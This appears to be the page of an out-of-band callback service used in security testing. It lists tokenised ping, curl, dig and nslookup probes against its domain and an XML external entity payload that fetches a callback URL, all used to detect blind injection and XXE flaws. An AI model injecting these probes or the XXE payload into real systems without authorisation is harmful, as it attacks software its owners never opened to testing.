$ ping -c1 -p 00cbf59197dc6592f53a177deb814800 unhack.ca
 
$ curl http://unhack.ca/p/cbf59197dc6592f53a177deb8148
 
$ dig cbf59197dc6592f53a177deb8148 @unhack.ca
 
$ dig cbf59197dc6592f53a177deb8148.ns.unhack.ca
 
C:\> nslookup cbf59197dc6592f53a177deb8148 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/cbf59197dc6592f53a177deb8148">]>
    <foo>&xxe;</foo>
Waiting for ping...